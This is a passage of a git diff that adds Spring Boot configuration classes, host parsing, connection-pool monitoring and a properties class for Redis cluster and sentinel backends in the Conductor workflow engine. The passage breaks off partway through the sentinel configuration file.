    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.springframework.boot.autoconfigure.condition.AnyNestedCondition; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +public class AnyRedisCondition extends AnyNestedCondition { + + public AnyRedisCondition() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "memory") + static class InMemoryRedisCondition {} + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_cluster") + static class RedisClusterConfiguration {} + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_sentinel") + static class RedisSentinelConfiguration {} + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_standalone") + static class RedisStandaloneConfiguration {} +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisConnectionCondition.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisConnectionCondition.java new file mode 100644 index 0000000..8d9c14f --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisConnectionCondition.java @@ -0,0 +1,58 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.springframework.boot.autoconfigure.condition.AnyNestedCondition; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Condition that matches when a Redis connection is needed for ANY purpose — either as the primary + * database (conductor.db.type) or as the queue backend (conductor.queue.type). + * + *

    Use this for Redis infrastructure beans (connection pools, proxies, monitors) that must be + * available whenever Redis is in use, regardless of whether it serves as DB or queue. + * + *

    Contrast with {@link AnyRedisCondition} which only checks conductor.db.type and is used for + * Redis persistence beans that should only load when Redis IS the primary database. + */ +public class AnyRedisConnectionCondition extends AnyNestedCondition { + + public AnyRedisConnectionCondition() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + // --- conductor.db.type checks --- + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "memory") + static class DbInMemory {} + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_cluster") + static class DbRedisCluster {} + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_sentinel") + static class DbRedisSentinel {} + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_standalone") + static class DbRedisStandalone {} + + // --- conductor.queue.type checks --- + + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_cluster") + static class QueueRedisCluster {} + + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_sentinel") + static class QueueRedisSentinel {} + + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_standalone") + static class QueueRedisStandalone {} +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/ConfigurationHostSupplier.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/ConfigurationHostSupplier.java new file mode 100644 index 0000000..25d44de --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/ConfigurationHostSupplier.java @@ -0,0 +1,83 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; + +import org.springframework.stereotype.Component; + +import com.netflix.dyno.connectionpool.Host; +import com.netflix.dyno.connectionpool.HostBuilder; +import com.netflix.dyno.connectionpool.HostSupplier; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Slf4j +public class ConfigurationHostSupplier implements HostSupplier { + + private final RedisProperties properties; + + public ConfigurationHostSupplier(RedisProperties properties) { + this.properties = properties; + } + + public List getHosts() { + return parseHostsFromConfig(); + } + + private List parseHostsFromConfig() { + String hosts = properties.getHosts(); + if (hosts == null) { + // FIXME This type of validation probably doesn't belong here. + String message = + "Missing dynomite/redis hosts. Ensure 'workflow.dynomite.cluster.hosts' has been set in the supplied configuration."; + log.error(message); + throw new RuntimeException(message); + } + return parseHostsFrom(hosts); + } + + private List parseHostsFrom(String hostConfig) { + List hostConfigs = Arrays.asList(hostConfig.split(";")); + + return hostConfigs.stream() + .map( + hc -> { + String[] hostConfigValues = hc.split(":"); + String host = hostConfigValues[0]; + int port = Integer.parseInt(hostConfigValues[1]); + String rack = hostConfigValues[2]; + + if (hostConfigValues.length >= 4) { + String password = hostConfigValues[3]; + return new HostBuilder() + .setHostname(host) + .setPort(port) + .setRack(rack) + .setStatus(Host.Status.Up) + .setPassword(password) + .createHost(); + } + return new HostBuilder() + .setHostname(host) + .setPort(port) + .setRack(rack) + .setStatus(Host.Status.Up) + .createHost(); + }) + .collect(Collectors.toList()); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/InMemoryRedisConfiguration.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/InMemoryRedisConfiguration.java new file mode 100644 index 0000000..8a3cb53 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/InMemoryRedisConfiguration.java @@ -0,0 +1,30 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.redis.jedis.InMemoryJedisCommands; +import com.netflix.conductor.redis.jedis.JedisCommands; + +@Configuration(proxyBeanMethods = false) +@ConditionalOnProperty(name = "conductor.db.type", havingValue = "memory") +public class InMemoryRedisConfiguration { + + @Bean + public JedisCommands jedisCommands() { + return new InMemoryJedisCommands(); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterCondition.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterCondition.java new file mode 100644 index 0000000..9511637 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterCondition.java @@ -0,0 +1,34 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.springframework.boot.autoconfigure.condition.AnyNestedCondition; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Condition that matches when Redis Cluster is needed for EITHER persistence (db.type) OR queuing + * (queue.type). Use this for Redis Cluster connection infrastructure (connection pool, + * JedisCommands) that must be available whenever Redis Cluster is in use, regardless of purpose. + */ +public class RedisClusterCondition extends AnyNestedCondition { + + public RedisClusterCondition() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_cluster") + static class DbRedisCluster {} + + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_cluster") + static class QueueRedisCluster {} +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterConfiguration.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterConfiguration.java new file mode 100644 index 0000000..61e45f1 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterConfiguration.java @@ -0,0 +1,129 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import java.security.cert.X509Certificate; +import java.time.Duration; +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; + +import javax.net.ssl.SSLContext; + +import org.apache.commons.pool2.impl.GenericObjectPoolConfig; +import org.apache.hc.client5.http.ssl.NoopHostnameVerifier; +import org.apache.hc.core5.ssl.SSLContextBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.redis.jedis.JedisClusterCommands; +import com.netflix.dyno.connectionpool.Host; + +import lombok.extern.slf4j.Slf4j; +import redis.clients.jedis.Connection; +import redis.clients.jedis.DefaultJedisClientConfig; +import redis.clients.jedis.HostAndPort; +import redis.clients.jedis.JedisCluster; +import redis.clients.jedis.Protocol; + +import static org.apache.commons.lang3.StringUtils.isNotBlank; + +@Configuration(proxyBeanMethods = false) +@Conditional(RedisClusterCondition.class) +@Slf4j +public class RedisClusterConfiguration extends RedisConfiguration { + + protected static final int DEFAULT_MAX_ATTEMPTS = 5; + + public RedisClusterConfiguration() { + super(); + } + + @Bean + public JedisClusterCommands getJedisClusterClient(RedisProperties properties) { + JedisCluster unifiedJedis = createUnifiedJedis(properties); + return new JedisClusterCommands(unifiedJedis); + } + + @Override + @Bean + public JedisCluster createUnifiedJedis(RedisProperties properties) { + + GenericObjectPoolConfig genericObjectPoolConfig = + new GenericObjectPoolConfig<>(); + + genericObjectPoolConfig.setMaxTotal(properties.getMaxConnectionsPerHost()); + genericObjectPoolConfig.setMinIdle(properties.getMinIdleConnections()); + genericObjectPoolConfig.setMaxIdle(properties.getMaxIdleConnections()); + + genericObjectPoolConfig.setMinEvictableIdleDuration( + Duration.ofMillis(properties.getMinEvictableIdleTimeMillis())); + genericObjectPoolConfig.setTimeBetweenEvictionRuns( + Duration.ofMillis(properties.getTimeBetweenEvictionRunsMillis())); + genericObjectPoolConfig.setTestWhileIdle(properties.isTestWhileIdle()); + genericObjectPoolConfig.setFairness(properties.isFairness()); + + ConfigurationHostSupplier hostSupplier = new ConfigurationHostSupplier(properties); + Set hosts = + hostSupplier.getHosts().stream() + .map(h -> new HostAndPort(h.getHostName(), h.getPort())) + .collect(Collectors.toSet()); + String password = getPassword(hostSupplier.getHosts()); + + if (password != null) { + log.info("Connecting to Redis Cluster with AUTH"); + } + DefaultJedisClientConfig.Builder configBuilder = + DefaultJedisClientConfig.builder() + .connectionTimeoutMillis(Protocol.DEFAULT_TIMEOUT) + .socketTimeoutMillis(Protocol.DEFAULT_TIMEOUT) + .password(password) + .ssl(properties.isSsl()); + if (properties.isSsl() && properties.isIgnoreSsl()) { + SSLContext context = null; + try { + context = + SSLContextBuilder.create() + .loadTrustMaterial( + (X509Certificate[] certificateChain, String authType) -> + true) + .build(); + configBuilder = + configBuilder + .sslParameters(context.getDefaultSSLParameters()) + .hostnameVerifier(new NoopHostnameVerifier()) + .sslSocketFactory(context.getSocketFactory()); + } catch (Exception e) { + log.error("Failed to init naive ssl context", e); + } + } + if (isNotBlank(properties.getUser())) { + configBuilder.user(properties.getUser()); + } + + JedisCluster clusterClient = + new JedisCluster( + hosts, + configBuilder.build(), + DEFAULT_MAX_ATTEMPTS, + properties.getMaxTotalRetriesDuration(), + genericObjectPoolConfig); + clusterClient.getClusterNodes().values().forEach(this::monitorJedisPool); + return clusterClient; + } + + private String getPassword(List hosts) { + return hosts.isEmpty() ? null : hosts.getFirst().getPassword(); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisConfiguration.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisConfiguration.java new file mode 100644 index 0000000..8654424 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisConfiguration.java @@ -0,0 +1,81 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; + +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.metrics.Monitors; + +import jakarta.annotation.PreDestroy; +import lombok.extern.slf4j.Slf4j; +import redis.clients.jedis.Connection; +import redis.clients.jedis.UnifiedJedis; +import redis.clients.jedis.util.Pool; + +@Configuration(proxyBeanMethods = false) +@Slf4j +public abstract class RedisConfiguration { + + private final ScheduledExecutorService monitorExecutor = + Executors.newSingleThreadScheduledExecutor( + r -> { + Thread t = new Thread(r, "redis-pool-monitor"); + t.setDaemon(true); + return t; + }); + + private final List> monitoredPools = new ArrayList<>(); + + protected abstract UnifiedJedis createUnifiedJedis(RedisProperties properties); + + protected void monitorJedisPool(Pool pool) { + monitoredPools.add(pool); + if (monitoredPools.size() == 1) { + monitorExecutor.scheduleAtFixedRate(this::recordPoolMetrics, 10, 10, TimeUnit.SECONDS); + } + } + + private void recordPoolMetrics() { + for (Pool pool : monitoredPools) { + try { + int active = pool.getNumActive(); + int waiting = pool.getNumWaiters(); + Duration meanBorrowWaitTime = pool.getMeanBorrowWaitDuration(); + Duration maxBorrowWaitTime = pool.getMaxBorrowWaitDuration(); + + log.debug("JedisPool Monitor, active = {}, waiting = {}", active, waiting); + + Monitors.recordGauge("conductor_redis_connection_active", active); + Monitors.recordGauge("conductor_redis_connection_waiting", waiting); + Monitors.getTimer("conductor_redis_connection_mean_borrow_wait_time") + .record(meanBorrowWaitTime); + Monitors.getTimer("conductor_redis_connection_max_borrow_wait_time") + .record(maxBorrowWaitTime); + } catch (Exception e) { + log.trace("Failed to collect Redis pool metrics", e); + } + } + } + + @PreDestroy + void shutdownMonitor() { + monitorExecutor.shutdownNow(); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisProperties.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisProperties.java new file mode 100644 index 0000000..c6274b4 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisProperties.java @@ -0,0 +1,430 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.config.ConductorProperties; + +import lombok.Data; + +@Configuration +@ConfigurationProperties("conductor.redis") +public class RedisProperties { + + private final ConductorProperties conductorProperties; + + @Autowired + public RedisProperties(ConductorProperties conductorProperties) { + this.conductorProperties = conductorProperties; + } + + /** + * Data center region. If hosting on Amazon the value is something like us-east-1, us-west-2 + * etc. + */ + private String dataCenterRegion = "us-east-1"; + + private Duration maxTotalRetriesDuration = + Duration.ofMillis(5 * 2000); // socket timeout * default attempts + + /** + * Local rack / availability zone. For AWS deployments, the value is something like us-east-1a, + * etc. + */ + private String availabilityZone = "us-east-1c"; + + /** The name of the redis / dynomite cluster */ + private String clusterName = ""; + + /** Dynomite Cluster details. Format is host:port:rack separated by semicolon */ + private String hosts = null; + + private String user; + + /** + * Sentinel master name. Required when conductor.db.type=redis_sentinel. This is the name of the + * master as configured in the Sentinel nodes. + */ + private String sentinelMasterName = "mymaster"; + + /** The time to live in seconds for which the event execution will be persisted */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration eventExecutionPersistenceTTL = Duration.ofSeconds(60); + + /** The prefix used to prepend workflow data in redis */ + private String workflowNamespacePrefix = null; + + /** The prefix used to prepend keys for queues in redis */ + private String queueNamespacePrefix = null; + + /** + * The domain name to be used in the key prefix for logical separation of workflow data and + * queues in a shared redis setup + */ + private String keyspaceDomain = null; + + /** + * The maximum number of connections that can be managed by the connection pool on a given + * instance + */ + private int maxConnectionsPerHost = 10; + + /** Database number. Defaults to a 0. Can be anywhere from 0 to 15 */ + private int database = 0; + + /** + * The maximum amount of time to wait for a connection to become available from the connection + * pool + */ + private Duration maxTimeoutWhenExhausted = Duration.ofMillis(800); + + /** The maximum retry attempts to use with this connection pool */ + private int maxRetryAttempts = 0; + + /** The read connection port to be used for connecting to dyno-queues */ + private int queuesNonQuorumPort = 22122; + + /** The time in seconds after which the in-memory task definitions cache will be refreshed */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration taskDefCacheRefreshInterval = Duration.ofSeconds(60); + + /** The time in seconds after which the in-memory metadata cache will be refreshed */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration metadataCacheRefreshInterval = Duration.ofSeconds(60); + + /** + * Enable in-memory caching of workflow definitions. When enabled, reads are served from cache + * with zero Redis I/O; the cache is refreshed synchronously on writes and periodically in the + * background. Disabled by default because in multi-instance deployments only the writing + * instance refreshes immediately — other instances see stale data until the next background + * refresh. Enable this if you have a large number of workflow definitions and can accept + * eventual consistency across instances. + */ + private boolean workflowDefCacheEnabled = false; + + // Maximum number of idle connections to be maintained + private int maxIdleConnections = 8; + + // Minimum number of idle connections to be maintained + private int minIdleConnections = 5; + + private long minEvictableIdleTimeMillis = 180000; + + private long timeBetweenEvictionRunsMillis = 60000; + + private boolean testWhileIdle = true; + + private boolean fairness = true; + + private int numTestsPerEvictionRun = 3; + + private boolean ssl; + + private boolean ignoreSsl; + + private int replicasToSync = 1; + + private int replicaSyncWaitTime = 5_000; + + private long queueCacheExpireAfterAccessSeconds = 3600; + + private long queueCacheMaxSize = 4000; + + private ExecutionDAOProperties executionProperties = new ExecutionDAOProperties(); + + public int getReplicasToSync() { + return replicasToSync; + } + + public void setReplicasToSync(int replicasToSync) { + this.replicasToSync = replicasToSync; + } + + public int getReplicaSyncWaitTime() { + return replicaSyncWaitTime; + } + + public void setReplicaSyncWaitTime(int replicaSyncWaitTime) { + this.replicaSyncWaitTime = replicaSyncWaitTime; + } + + public int getNumTestsPerEvictionRun() { + return numTestsPerEvictionRun; + } + + public void setNumTestsPerEvictionRun(int numTestsPerEvictionRun) { + this.numTestsPerEvictionRun = numTestsPerEvictionRun; + } + + public boolean isFairness() { + return fairness; + } + + public void setFairness(boolean fairness) { + this.fairness = fairness; + } + + public boolean isTestWhileIdle() { + return testWhileIdle; + } + + public void setTestWhileIdle(boolean testWhileIdle) { + this.testWhileIdle = testWhileIdle; + } + + public long getMinEvictableIdleTimeMillis() { + return minEvictableIdleTimeMillis; + } + + public void setMinEvictableIdleTimeMillis(long minEvictableIdleTimeMillis) { + this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis; + } + + public long getTimeBetweenEvictionRunsMillis() { + return timeBetweenEvictionRunsMillis; + } + + public void setTimeBetweenEvictionRunsMillis(long timeBetweenEvictionRunsMillis) { + this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis; + } + + public int getMinIdleConnections() { + return minIdleConnections; + } + + public void setMinIdleConnections(int minIdleConnections) { + this.minIdleConnections = minIdleConnections; + } + + public int getMaxIdleConnections() { + return maxIdleConnections; + } + + public void setMaxIdleConnections(int maxIdleConnections) { + this.maxIdleConnections = maxIdleConnections; + } + + public String getDataCenterRegion() { + return dataCenterRegion; + } + + public void setDataCenterRegion(String dataCenterRegion) { + this.dataCenterRegion = dataCenterRegion; + } + + public String getAvailabilityZone() { + return availabilityZone; + } + + public void setAvailabilityZone(String availabilityZone) { + this.availabilityZone = availabilityZone; + } + + public String getClusterName() { + return clusterName; + } + + public void setClusterName(String clusterName) { + this.clusterName = clusterName; + } + + public String getHosts() { + return hosts; + } + + public void setHosts(String hosts) { + this.hosts = hosts; + } + + public String getWorkflowNamespacePrefix() { + return workflowNamespacePrefix; + } + + public void setWorkflowNamespacePrefix(String workflowNamespacePrefix) { + this.workflowNamespacePrefix = workflowNamespacePrefix; + } + + public String getQueueNamespacePrefix() { + return queueNamespacePrefix; + } + + public void setQueueNamespacePrefix(String queueNamespacePrefix) { + this.queueNamespacePrefix = queueNamespacePrefix; + } + + public String getKeyspaceDomain() { + return keyspaceDomain; + } + + public void setKeyspaceDomain(String keyspaceDomain) { + this.keyspaceDomain = keyspaceDomain; + } + + public int getMaxConnectionsPerHost() { + return maxConnectionsPerHost; + } + + public void setMaxConnectionsPerHost(int maxConnectionsPerHost) { + this.maxConnectionsPerHost = maxConnectionsPerHost; + } + + public Duration getMaxTimeoutWhenExhausted() { + return maxTimeoutWhenExhausted; + } + + public void setMaxTimeoutWhenExhausted(Duration maxTimeoutWhenExhausted) { + this.maxTimeoutWhenExhausted = maxTimeoutWhenExhausted; + } + + public int getMaxRetryAttempts() { + return maxRetryAttempts; + } + + public void setMaxRetryAttempts(int maxRetryAttempts) { + this.maxRetryAttempts = maxRetryAttempts; + } + + public int getQueuesNonQuorumPort() { + return queuesNonQuorumPort; + } + + public void setQueuesNonQuorumPort(int queuesNonQuorumPort) { + this.queuesNonQuorumPort = queuesNonQuorumPort; + } + + public Duration getTaskDefCacheRefreshInterval() { + return taskDefCacheRefreshInterval; + } + + public void setTaskDefCacheRefreshInterval(Duration taskDefCacheRefreshInterval) { + this.taskDefCacheRefreshInterval = taskDefCacheRefreshInterval; + } + + public int getDatabase() { + return database; + } + + public void setDatabase(int database) { + this.database = database; + } + + public String getQueuePrefix() { + String prefix = getQueueNamespacePrefix() + "." + conductorProperties.getStack(); + if (getKeyspaceDomain() != null) { + prefix = prefix + "." + getKeyspaceDomain(); + } + return prefix; + } + + public Duration getMetadataCacheRefreshInterval() { + return metadataCacheRefreshInterval; + } + + public void setMetadataCacheRefreshInterval(Duration metadataCacheRefreshInterval) { + this.metadataCacheRefreshInterval = metadataCacheRefreshInterval; + } + + public boolean isWorkflowDefCacheEnabled() { + return workflowDefCacheEnabled; + } + + public void setWorkflowDefCacheEnabled(boolean workflowDefCacheEnabled) { + this.workflowDefCacheEnabled = workflowDefCacheEnabled; + } + + public boolean isSsl() { + return ssl; + } + + public void setSsl(boolean ssl) { + this.ssl = ssl; + } + + public void setIgnoreSsl(boolean ignoreSsl) { + this.ignoreSsl = ignoreSsl; + } + + public boolean isIgnoreSsl() { + return ignoreSsl; + } + + public Duration getMaxTotalRetriesDuration() { + return maxTotalRetriesDuration; + } + + public void setMaxTotalRetriesDuration(Duration maxTotalRetriesDuration) { + this.maxTotalRetriesDuration = maxTotalRetriesDuration; + } + + public long getQueueCacheExpireAfterAccessSeconds() { + return queueCacheExpireAfterAccessSeconds; + } + + public void setQueueCacheExpireAfterAccessSeconds(long queueCacheExpireAfterAccessSeconds) { + this.queueCacheExpireAfterAccessSeconds = queueCacheExpireAfterAccessSeconds; + } + + public long getQueueCacheMaxSize() { + return queueCacheMaxSize; + } + + public void setQueueCacheMaxSize(long queueCacheMaxSize) { + this.queueCacheMaxSize = queueCacheMaxSize; + } + + public void setExecutionProperties(ExecutionDAOProperties executionProperties) { + this.executionProperties = executionProperties; + } + + public ExecutionDAOProperties getExecutionProperties() { + return this.executionProperties; + } + + @Data + public static class ExecutionDAOProperties { + private int workflowDefCacheMaxSize = 10_000; + private int taskCacheMaxSize = 1000; + private int taskCacheExpireAfterWriteSeconds = 10; + } + + public String getUser() { + return user; + } + + public void setUser(String user) { + this.user = user; + } + + public String getSentinelMasterName() { + return sentinelMasterName; + } + + public void setSentinelMasterName(String sentinelMasterName) { + this.sentinelMasterName = sentinelMasterName; + } + + public Duration getEventExecutionPersistenceTTL() { + return eventExecutionPersistenceTTL; + } + + public void setEventExecutionPersistenceTTL(Duration eventExecutionPersistenceTTL) { + this.eventExecutionPersistenceTTL = eventExecutionPersistenceTTL; + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelCondition.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelCondition.java new file mode 100644 index 0000000..721d871 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelCondition.java @@ -0,0 +1,34 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.springframework.boot.autoconfigure.condition.AnyNestedCondition; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Condition that matches when Redis Sentinel is needed for EITHER persistence (db.type) OR queuing + * (queue.type). Use this for Redis Sentinel connection infrastructure (connection pool, + * JedisCommands) that must be available whenever Redis Sentinel is in use, regardless of purpose. + */ +public class RedisSentinelCondition extends AnyNestedCondition { + + public RedisSentinelCondition() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_sentinel") + static class DbRedisSentinel {} + + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_sentinel") + static class QueueRedisSentinel {} +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelConfiguration.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelConfiguration.java new file mode 100644 index 0000000..7b7e1e4 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelConfiguration.java @@ -0,0 +1,152 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import java.security.cert.X509Certificate; +import java.time.Duration; +import java.util.Set; +import java.util.stream.Collectors; + +import javax.net.ssl.SSLContext; + +import org.apache.commons.pool2.impl.GenericObjectPoolConfig; +import org.apache.hc.client5.http.ssl.NoopHostnameVerifier; +import org.apache.hc.core5.ssl.SSLContextBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.redis.jedis.JedisCommands; +import com.netflix.conductor.redis.jedis.RetryingJedisCommands; +import com.netflix.conductor.redis.jedis.UnifiedJedisCommands; +import com.netflix.dyno.connectionpool.Host; + +import lombok.extern.slf4j.Slf4j; +import redis.clients.jedis.Connection; +import redis.clients.jedis.DefaultJedisClientConfig; +import redis.clients.jedis.HostAndPort; +import redis.clients.jedis.JedisClientConfig; +import redis.clients.jedis.JedisSentineled; +import redis.clients.jedis.UnifiedJedis; + +import static org.apache.commons.lang3.StringUtils.isNotBlank; + +@Configuration(proxyBeanMethods = false) +@Conditional(RedisSentinelCondition.class) +@Slf4j +public class RedisSentinelConfiguration extends RedisConfiguration { + + @Bean + public JedisCommands getJedisCommands( + UnifiedJedis unifiedJedis, RedisProperties redisProperties) { + return RetryingJedisCommands.wrap(new UnifiedJedisCommands(unifiedJedis), redisProperties); + } + + @Override + @Bean + protected UnifiedJedis createUnifiedJedis(RedisProperties redisProperties) { + + ConfigurationHostSupplier hostSupplier = new ConfigurationHostSupplier(redisProperties); + + // Pool config for connections to the master + GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig<>(); + poolConfig.setMaxTotal(redisProperties.getMaxConnectionsPerHost()); + poolConfig.setMaxIdle(redisProperties.getMaxIdleConnections()); + 